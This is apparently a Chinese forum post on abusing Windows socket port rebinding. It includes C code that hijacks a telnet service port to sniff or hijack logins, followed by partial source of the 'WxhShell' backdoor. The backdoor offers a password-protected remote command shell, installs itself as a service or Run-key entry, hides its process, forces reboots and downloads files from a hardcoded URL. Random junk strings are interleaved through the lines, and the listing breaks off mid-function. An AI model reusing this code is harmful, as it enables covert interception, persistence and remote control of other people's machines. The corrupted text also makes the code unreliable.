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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YCxwIzIR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ug ;Xoh5w  
gVzIEE25  
  saddr.sin_family = AF_INET; `t)9u^[<(  
KT<$E!@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h{ix$Xn~  
@d 7V@F0d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c$&({Z{1  
Fih pp<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0\ (:y^X  
Gvh"3|u ?z  
  这意味着什么?意味着可以进行如下的攻击: /PTRe5-7  
W9tZX5V1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mkk.8AjC|  
_[Imwu}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $,, PF/N8c  
&b5(Su  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5~IdWwG*w  
m<>BxX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P,'%$DLDg  
_\tv ${  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (,QWK08  
!\BZ_guz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YJ"D"QD  
JVy|SA&R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0<~~0US  
?-mOAHW0q  
  #include \ DZ.#=d  
  #include MSvZ3[5Io  
  #include r=Lgh#9S  
  #include    U-fxlg|-C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _r\M}lDh*  
  int main() QNU~G3  
  { fpo{`;&F  
  WORD wVersionRequested; 7(.Z8AO  
  DWORD ret; X`Q+,tx$  
  WSADATA wsaData; 8/dMvAB1So  
  BOOL val; s[0`  
  SOCKADDR_IN saddr; o&%v"#H2  
  SOCKADDR_IN scaddr; D0p*Sg  
  int err; wv{ Qx^  
  SOCKET s; lm;hW&O9  
  SOCKET sc; a0sz$u  
  int caddsize; !aF~5P7%  
  HANDLE mt; V27RK-.N!  
  DWORD tid;   S}%z0g<  
  wVersionRequested = MAKEWORD( 2, 2 ); +c<iVc|  
  err = WSAStartup( wVersionRequested, &wsaData ); r\ft{Z<P  
  if ( err != 0 ) { /ugyUpyg  
  printf("error!WSAStartup failed!\n"); HFy9b|pjy  
  return -1; 1r$-Uh  
  } iUR ij@  
  saddr.sin_family = AF_INET; YFB>GQ;  
   a!:N C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V)/J2-w  
,/b!Xm:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qq&U)-`  
  saddr.sin_port = htons(23); H@xS<=:lM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3_XLx{["'  
  { s)qrlv5H  
  printf("error!socket failed!\n"); jmr .gW  
  return -1; \N0vA~N.  
  } t sUu  
  val = TRUE; z6E =%-`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A3_p*n@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bgc]t  
  { <F0^+Pf/  
  printf("error!setsockopt failed!\n"); EA6l11{Gk1  
  return -1; o$.#A]Flb  
  } >{Hg+/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /ie&uW y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %w65)BFQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L>sLb(2\i  
<6 Rec^QF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ANu>*  
  { ^)>( <6  
  ret=GetLastError(); PtW2S 1?j  
  printf("error!bind failed!\n"); m#RJRuZ|2V  
  return -1; gU x}vE-  
  } g-d{"ZXd J  
  listen(s,2); 63u%=-T%a  
  while(1) VmPh''Z%-  
  { lY tt|J  
  caddsize = sizeof(scaddr); ^{MqJ\S7H  
  //接受连接请求 JnBc@qnP6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4DCh+|r  
  if(sc!=INVALID_SOCKET) _< .VP  
  { 8~C}0H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }bS1M  
  if(mt==NULL) d0I s|Gs  
  { }UW*[dCf>C  
  printf("Thread Creat Failed!\n"); ?{f6su@rW  
  break; o1(;"5MM  
  } Wds>'zzS  
  } c 1F^Gj!8  
  CloseHandle(mt); X13+n2^8]  
  } 'M"z3j]m-,  
  closesocket(s); St%x\[D  
  WSACleanup(); +-|""`I1I  
  return 0; ,#ZPg_x?1  
  }   0@ "'SKq  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'xqyG XI  
  { ?Cf'IBpN  
  SOCKET ss = (SOCKET)lpParam; mgx|5Otg  
  SOCKET sc; ~+4lmslR  
  unsigned char buf[4096]; *Sj) 9mp  
  SOCKADDR_IN saddr; Bzwll  
  long num; /C!~v!;e  
  DWORD val; kb2C 9<  
  DWORD ret; c%doNY9Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^vd$j-kjTP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LvG$J*  
  saddr.sin_family = AF_INET; }=bzUA`C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UDi(7c0.  
  saddr.sin_port = htons(23); ]w6 F%d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3?FY?Q[  
  { $mM"C+dD  
  printf("error!socket failed!\n"); x&;AY  
  return -1; $mGzJ4&  
  } 2PSExK57  
  val = 100; j "<?9/r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &EV%g6  
  { sX~E ~$_g  
  ret = GetLastError(); QZvQ8  
  return -1; {k.:DH)  
  } ^\gb|LEnK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cu#n5SF*  
  { ?{TWsuP7  
  ret = GetLastError(); \2y/:  
  return -1; ,V9qiu=m   
  } Jl\xE`-7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X2A k  
  { Fw&ImRMk  
  printf("error!socket connect failed!\n"); PdO"e  
  closesocket(sc); qA7,txQ:  
  closesocket(ss); L%v@|COQ3  
  return -1; y{mt *VA4  
  } e x Z/  
  while(1) GqCBD-@4v.  
  { tjtvO@?1-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]" V_`i7Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZXQ5fBx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ENhLonM eV  
  num = recv(ss,buf,4096,0); ; j.d  
  if(num>0) n}Z%D-b$  
  send(sc,buf,num,0); [ft6xI  
  else if(num==0) akbB=:M,x  
  break; 2K>1,[C'Z  
  num = recv(sc,buf,4096,0); }V] b4t  
  if(num>0) rwj+N%N  
  send(ss,buf,num,0); >WLX5i&  
  else if(num==0) NHyUHFY  
  break; Jp"29 )w  
  } Z]b;%:>=  
  closesocket(ss); .c]>*/(+  
  closesocket(sc); )Q`Ycz-  
  return 0 ; =a,qRO  
  } x]wi&  
`e'wW V  
FA,n>  
========================================================== o$L%t@   
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下边附上一个代码,,WXhSHELL }TMO>eB'  
N@PwC(   
========================================================== p}pRf@(`\  
.S,E=  
#include "stdafx.h" `:3nF'  
"G>d8GbIh  
#include <stdio.h> {ax]t-ZwJ5  
#include <string.h> r*b+kSh  
#include <windows.h> Fvk=6$d2  
#include <winsock2.h> %|H]T] s  
#include <winsvc.h> O MQ?*^eA  
#include <urlmon.h> )=GPhC/sw  
#^VZJ:2=|  
#pragma comment (lib, "Ws2_32.lib") K.QSt  
#pragma comment (lib, "urlmon.lib") zl8M<z1`1  
i=<;$+tW  
#define MAX_USER   100 // 最大客户端连接数 YNV, dKB  
#define BUF_SOCK   200 // sock buffer &'^.>TJ\  
#define KEY_BUFF   255 // 输入 buffer k vZw4Pk  
>U* p[FGW  
#define REBOOT     0   // 重启 <MJU:m $3  
#define SHUTDOWN   1   // 关机 vai w*?jV  
NL:-3W7vf  
#define DEF_PORT   5000 // 监听端口 npzp/mcIe)  
xDw~n(*  
#define REG_LEN     16   // 注册表键长度 z**2-4 z  
#define SVC_LEN     80   // NT服务名长度 (mP{A(kwJ  
\ejHM}w3,  
// 从dll定义API tm5{h{AM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rVP\F{Q4Tr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '9u?lA^9$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jA9uB.I,"b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AcuZ? LYzK  
AmIW$(Ce  
// wxhshell配置信息 E'4Psx9: =  
struct WSCFG { yC$m(Y12FN  
  int ws_port;         // 监听端口 Q SF0?Puf  
  char ws_passstr[REG_LEN]; // 口令 rtAPkXJFM  
  int ws_autoins;       // 安装标记, 1=yes 0=no }y*D(`  
  char ws_regname[REG_LEN]; // 注册表键名 q n-f&R  
  char ws_svcname[REG_LEN]; // 服务名 e bp t/q[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oQ -m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "[7-1}l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mmJnE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NUVKAAgMX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DcBAncsK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O0jOI3/P%  
stK}K-=`  
}; 0'6ai=W  
d`rZgY  
// default Wxhshell configuration MuMq%uDA"  
struct WSCFG wscfg={DEF_PORT, W2rd [W  
    "xuhuanlingzhe", LQk^l`  
    1, :y7K3:d3  
    "Wxhshell", P9 HKev?y  
    "Wxhshell", !dwZ`D  
            "WxhShell Service", P6kD tUXF  
    "Wrsky Windows CmdShell Service", h=`$ec  
    "Please Input Your Password: ", 'i$. _Tx  
  1, V5$ Gb6?K  
  "http://www.wrsky.com/wxhshell.exe", Y _`JS;  
  "Wxhshell.exe" z4_B/Q  
    }; ?WXftzdf6u  
S|| W  
// 消息定义模块 EGgw#JAi#t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '6vo#D9M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kCEuzd=$V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ) ??N]V_U  
char *msg_ws_ext="\n\rExit."; ;MNUT,U  
char *msg_ws_end="\n\rQuit."; c! kr BS  
char *msg_ws_boot="\n\rReboot..."; fx+_;y  
char *msg_ws_poff="\n\rShutdown..."; KF#^MEw%  
char *msg_ws_down="\n\rSave to "; I1m[M?  
@P~%4:!Hr  
char *msg_ws_err="\n\rErr!"; ?&9=f\/P  
char *msg_ws_ok="\n\rOK!"; *K_8=TIA*  
>ye.rRZd`  
char ExeFile[MAX_PATH]; M`K]g&57hL  
int nUser = 0; mW!n%f  
HANDLE handles[MAX_USER]; <eMqg u  
int OsIsNt; V-#JV@b  
>vo 6X]p~  
SERVICE_STATUS       serviceStatus; rfVQX<95=/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,gZp/yJ;  
o_Z9\'u  
// 函数声明 ZqrS]i@$  
int Install(void); ,gNZHKNq  
int Uninstall(void); u-&V, *3l  
int DownloadFile(char *sURL, SOCKET wsh); Kkovp^G  
int Boot(int flag); aHu0z:  
void HideProc(void); -h7ssf'u[  
int GetOsVer(void); ;b 65s9n^b  
int Wxhshell(SOCKET wsl); *w0|`[P+h  
void TalkWithClient(void *cs); *(5;5r  
int CmdShell(SOCKET sock); @!oN]0`F;  
int StartFromService(void); V  H`_  
int StartWxhshell(LPSTR lpCmdLine); 9;%$  
Q e+;BE-H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @,1_CqV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %T>@Ldt  
&iw,||#  
// 数据结构和表定义 HdtGyh6X0  
SERVICE_TABLE_ENTRY DispatchTable[] = l(rm0_  
{ i/-IjgM"-  
{wscfg.ws_svcname, NTServiceMain}, p5E okh  
{NULL, NULL} !yj1X Ar  
};  ij:a+T  
`q]' ^EzJ  
// 自我安装 @mZK[*Ak<*  
int Install(void) nI?*[y}  
{ j?*n@'   
  char svExeFile[MAX_PATH]; $!. [R}  
  HKEY key; r4[=pfe25  
  strcpy(svExeFile,ExeFile); 1lIs jBo g  
IY6Ll6OK  
// 如果是win9x系统,修改注册表设为自启动 X%s5D&gr  
if(!OsIsNt) { Z*w({k7]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zs/-/C|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6_" n  
  RegCloseKey(key); ]t!v`TH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <2@t ~ 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6R^F^<<  
  RegCloseKey(key); l-W)? d  
  return 0; :I7qw0?  
    } [r>hK ZU2  
  } ^k % +ao  
} l opl  
else { g zi=+oJ|4  
?;](;n#lU  
// 如果是NT以上系统,安装为系统服务 >F^$ ' b]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t)8c rX}P  
if (schSCManager!=0) j%3 $ytf|p  
{ `f}ZAX  
  SC_HANDLE schService = CreateService ?MSZO]Q4+  
  ( gNxv.6Pp=  
  schSCManager, >CKa?N;  
  wscfg.ws_svcname, 5K9W5hA:D  
  wscfg.ws_svcdisp, (9( xJ)  
  SERVICE_ALL_ACCESS, %P1zb7:8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f 5bX,e)!  
  SERVICE_AUTO_START, QE"$Lc)  
  SERVICE_ERROR_NORMAL, z5({A2q  
  svExeFile, hoBFC1  
  NULL, l+6@,TY1U  
  NULL, 4J,6cOuW4  
  NULL, Mfz(%F|<  
  NULL, <5KoK!H  
  NULL VJK4C8]  
  ); h{-en50tN  
  if (schService!=0) } %0 w25  
  { hU(  
  CloseServiceHandle(schService); NM9ViYm>P  
  CloseServiceHandle(schSCManager); Rq|5%;1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RgFpc*.T  
  strcat(svExeFile,wscfg.ws_svcname); "fNv(> -7s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jS3@Z?x?*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o/ \o -kC}  
  RegCloseKey(key); 6flO;d/v  
  return 0; B YB9M  
    } o(v`  
  } Z{(Gib~{N  
  CloseServiceHandle(schSCManager); !^L}LtqHI  
} sR PQr ?  
} _d~GY,WTdO  
|:(BI5&S  
return 1; k(>J?\iNW  
} PNLlJlYlP  
24InwR|^  
// 自我卸载 OdyL j  
int Uninstall(void)  A|IPQ=  
{ ~qb?#IY]`  
  HKEY key; D.AiqO<z  
wMF1HT<*  
if(!OsIsNt) { 2\$<&]q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }1CO>a<  
  RegDeleteValue(key,wscfg.ws_regname); hHw1<! M  
  RegCloseKey(key); 8_>:0(y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u (r T2  
  RegDeleteValue(key,wscfg.ws_regname); "OUY^ cM  
  RegCloseKey(key); cQh{z8Bf?<  
  return 0; /Y\q&}  
  } -{eiV0<^  
} 7je1vNs  
} T;3~teVYB  
else { c?xeBC1-  
vA*NJ%&`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZQz;EV!  
if (schSCManager!=0) {XhpxJ__  
{ !5m~qet.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h*P0;V`UX  
  if (schService!=0) B7{j$0fm*  
  { ]6=opvm  
  if(DeleteService(schService)!=0) { +W>tdxOh  
  CloseServiceHandle(schService); aM[fag$c  
  CloseServiceHandle(schSCManager); cEJ_z(\=hr  
  return 0; F r2 +p  
  } Rx%kAt2X  
  CloseServiceHandle(schService); &#q%#M:  
  } ~|KMxY(:  
  CloseServiceHandle(schSCManager); ?aG~E  
} jAt6 5a  
} `b@"GOr  
`~=Is.V[  
return 1; ^kB9 I8u  
} 0Z%<H\Z  
P#A|Pn<p  
// 从指定url下载文件 8r\xQr'8h  
int DownloadFile(char *sURL, SOCKET wsh) . 55aY~We  
{ jT QN(a9Y  
  HRESULT hr; *OE>gg&?Nh  
char seps[]= "/"; a~tBgy+9  
char *token; p-g@c wOu  
char *file; E\}Q9, Z$  
char myURL[MAX_PATH]; kr1^`>O5  
char myFILE[MAX_PATH]; d7c m?+  
Z[j-.,Qu  
strcpy(myURL,sURL); )>=|oY3  
  token=strtok(myURL,seps); )^^}!U#|e  
  while(token!=NULL) iN`L*h  
  { ER$~kFE2yP  
    file=token; kS7T'[d  
  token=strtok(NULL,seps); Y50$ 2%kM  
  } ~0.@1zEXj  
Ug O\+cI  
GetCurrentDirectory(MAX_PATH,myFILE); >y q L  
strcat(myFILE, "\\"); oWOH#w  
strcat(myFILE, file); z#&qWO  
  send(wsh,myFILE,strlen(myFILE),0); \}qv}hU  
send(wsh,"...",3,0); ]@1ncn7N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RzSN,bL R  
  if(hr==S_OK) p7O4CP>9[  
return 0; U`'w{~"D%  
else :(x 90;DW  
return 1; /%N~$ &wW  
wA)R7%&  
} XlNB9\"5  
aR;Q^YJ+a  
// 系统电源模块 ?at~il$z'  
int Boot(int flag) PsD]gN5"  
{ sAc)X!}  
  HANDLE hToken; 0P53dF  
  TOKEN_PRIVILEGES tkp; &jPsdv h  
gzdgnF2  
  if(OsIsNt) { 8|Y^z_C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~yf5$~Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {gi"ktgk  
    tkp.PrivilegeCount = 1; 1Kebl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; veE8 N~0N.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7,LT4wYH  
if(flag==REBOOT) { }#u}{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @49^WY  
  return 0; ^jhHaN]G^  
} #wm)e)2@  
else { bmddh2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]X _&  
  return 0; j({L6</x  
} Ap>n4~  
  } Qg oXOVo6  
  else { eaiz w@N  
if(flag==REBOOT) { Cw^)}23R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T +4!g|Y  
  return 0; Ip 1QmP  
}  y.eBFf  
else { ;NPb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %r,2ZLZ  
  return 0; hQ8{ A7  
} >\p}UPx  
} & ='uAw  
K|1^?#n  
return 1; {S&&X&A`v  
} i\eykYc,  
XAFTLNV>  
// win9x进程隐藏模块 g%[Ruugu  
void HideProc(void) IH0^*f  
{ nMbV{h ,  
#5I "M WA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t[ MRyi)LF  
  if ( hKernel != NULL ) ?^+|V,<  
  { q B 2#EsZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1Q$ M/}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xX>448=  
    FreeLibrary(hKernel); U)o8Tr  
  } 4'8.f5  
/ q!&I  
return; @<sP1`1  
} Z,&ywMm/G  
5LK>n-  
// 获取操作系统版本 4%{m7CK}  
int GetOsVer(void) \%VoX` B  
{ g?+P&FL#I  
  OSVERSIONINFO winfo; ?{dno=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +]_} \  
  GetVersionEx(&winfo); Zj0&/S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dk ?0r  
  return 1; ,J#5Y.  
  else x[kdQj2[&  
  return 0; zC^Ib&gm>,  
} 8vP)qy8  
/L8=8  
// 客户端句柄模块 D.GSl  
int Wxhshell(SOCKET wsl) n#fg7d%  
{ 0?sp  
  SOCKET wsh; Aws TDM  
  struct sockaddr_in client; _[7uLWyC9  
  DWORD myID; zBR]bk\  
S{H8}m|MW  
  while(nUser<MAX_USER) GgYomR:  
{ }?^G= IP4(  
  int nSize=sizeof(client); Z~gqTB]H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mf63 59  
  if(wsh==INVALID_SOCKET) return 1; tpctz~ .  
*dl@)~i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,O+7nByi[V  
if(handles[nUser]==0) 1$W!<:uh  
  closesocket(wsh); ~}116K  
else M/qiA.C@W  
  nUser++; N@>S>U8C  
  } EIfrZg7R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o_5@R+&  
PTh Ya  
  return 0; s5dh]vNN  
} Lsz`nD5  
a`uT'g[*  
// 关闭 socket \CGcP  
void CloseIt(SOCKET wsh) x@ O:  
{ $b$D[4  
closesocket(wsh); }R x%&29&  
nUser--; {%Y7]*D  
ExitThread(0); z=U!D `]v  
} }ie]7N6;  
9.B7Owgr89  
// 客户端请求句柄 HKwGaCj`  
void TalkWithClient(void *cs) |"< I\Vs:  
{ S7vE[VF5  
one>vi`=  
  SOCKET wsh=(SOCKET)cs; Z0=OR^HjA  
  char pwd[SVC_LEN]; uwka 2aSS  
  char cmd[KEY_BUFF]; |<0@RCgM  
char chr[1]; #rwR)9iC0  
int i,j; SJ-Sac58r  
]lY9[~ v  
  while (nUser < MAX_USER) { loJ0PY'}=  
wGH@I_cy>  
if(wscfg.ws_passstr) { DPOPRi~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ah`dt8t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4@I]PG  
  //ZeroMemory(pwd,KEY_BUFF); u/f&Wq/  
      i=0; p3o?_ !Z  
  while(i<SVC_LEN) { _u>>+6,p  
:6+~"7T  
  // 设置超时 u"jnEKN0y  
  fd_set FdRead; LayU)TIt  
  struct timeval TimeOut; 8gNEL+  
  FD_ZERO(&FdRead); \YS?}! 0  
  FD_SET(wsh,&FdRead); nz\fN?q  
  TimeOut.tv_sec=8; rWXW}Yg  
  TimeOut.tv_usec=0; |9I;`{@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O)R0,OPb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M}Mzm2d#`  
UJ[a& b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? h%+2  
  pwd=chr[0]; =.a ]?&Yyh  
  if(chr[0]==0xd || chr[0]==0xa) { M6sDtL9l  
  pwd=0; s|'L0` <B  
  break; (/U1J  
  } @\?f77Of6  
  i++; +IYSWR  
    } &?6w 2[}  
\tx/!tA  
  // 如果是非法用户,关闭 socket }nl)*l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cG:`Zj~4  
} d ] ;pG(  
)[*O^bPowI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \irjIXtV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F948%?a  
{@Ac L:Eit  
while(1) { o=QF>\ \  
*lAdS]I  
  ZeroMemory(cmd,KEY_BUFF); 3~ZVAg[c  
lv*uXg.k^  
      // 自动支持客户端 telnet标准   9,CC1f  
  j=0; P;&p[[7  
  while(j<KEY_BUFF) { vM/v}6;_K2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .<%M8rcj  
  cmd[j]=chr[0]; ud D[hPJd  
  if(chr[0]==0xa || chr[0]==0xd) { H@' @xHv  
  cmd[j]=0; ;[ueNP%*y|  
  break; hJsC \C,^  
  } 4 G[hU4L  
  j++; Yur)_m  
    } @/L. BfTz  
u0b-JJ7)BQ  
  // 下载文件 sEyl\GL  
  if(strstr(cmd,"http://")) { S45>f(!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5i#w:O\cz  
  if(DownloadFile(cmd,wsh)) ^^l"brPa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9G+rxyWMW  
  else D:tZiS=0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ycD.:w p\'  
  } 'Y\"^'OU\  
  else { @98SC}}u  
%)Dd{|c  
    switch(cmd[0]) { QL18MbfqP  
  T9-a uK0d  
  // 帮助 yW?%c#9D  
  case '?': { bU`yymf{L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {+9\o ~  
    break; Tpx,41(k  
  } 98'XSL|  
  // 安装 %0]b5u  
  case 'i': { [_b='/8  
    if(Install()) }Xv1KX'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I>Fh*2  
    else a&Du5(r;!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XF$]KA L0  
    break; z %E!tB2o  
    } C&N4<2b  
  // 卸载 s,H(m8#>  
  case 'r': { C)p<M H<  
    if(Uninstall()) %5?-g[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &W// Ox )f  
    else 4^_Au^8R(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9?chCO(@  
    break; .MARF  
    } _4B iF?1  
  // 显示 wxhshell 所在路径 ^) ^|;C\`  
  case 'p': { W r7e_  
    char svExeFile[MAX_PATH]; _kX/LR"L+  
    strcpy(svExeFile,"\n\r"); %uqD\`-  
      strcat(svExeFile,ExeFile); +\vY;!^  
        send(wsh,svExeFile,strlen(svExeFile),0); !&p:=}s  
    break; U] -@yx  
    } f ?zK "  
  // 重启 ]Wt6V^M'@  
  case 'b': { ./y[<e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1";e'? ^x  
    if(Boot(REBOOT)) X3iRR{< @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ds,"E#?  
    else { h=r< B\Pa  
    closesocket(wsh); )"jn{%/t  
    ExitThread(0); ]{+M>i[  
    } [k 7N+W8  
    break; fUKdC \WL  
    } LY:?OGh  
  // 关机 ?mfWm{QTt  
  case 'd': { 8!Mzr1:  
